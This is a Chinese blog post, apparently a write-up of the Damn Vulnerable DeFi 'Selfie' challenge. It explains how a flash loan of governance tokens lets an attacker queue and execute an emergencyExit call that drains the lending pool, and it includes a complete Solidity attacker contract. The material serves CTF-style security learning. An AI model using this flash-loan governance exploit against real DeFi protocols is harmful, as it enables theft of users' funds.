xChar
·a year ago

Challenge #6 - Selfie

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • SimpleGovernance:治理代币合约,实现ISimpleGovernance接口,可以预先设置action,在两天后可以执行此action
  • SelfiePool:实现IERC3156FlashLender,提供闪电贷,包括ERC20Snapshot和SimpleGovernance两种token

测试

  • 部署DamnValuableTokenSnapshot,SimpleGovernance合约
  • 部署SelfiePool合约,向pool中转入token,数目为TOKENS_IN_POOL
  • 对token执行一次快照,当前pool中余额和最大供闪电贷额度均为TOKENS_IN_POOL
  • 执行攻击脚本
  • 期望player账户token余额为TOKENS_IN_POOL,pool账户token余额为0

题解

本题的目的就是取走pool中的全部token,在pool合约中有emergencyExit 函数

可以看到,只要满足onlyGovernance 条件,即可转走当前合约内的任意数目token

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

onlyGovernance 要求调用方必须是SimpleGovernance合约,我们又知道在SimpleGovernance

合约中提供了设置action和执行action的方法,在设置action的参数中就包括了target和calldata这样的合约调用参数

因此完整的调用流程如下所示:

image

首先通过调用攻击合约,实施闪电贷获得goveranceToken,再去SimpleGoverance中记录一个action,填入的目标方法就是调用pool的emergencyExit

待两天后,通过主动执行action来转移出pool的全部token

代码如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
Loading comments...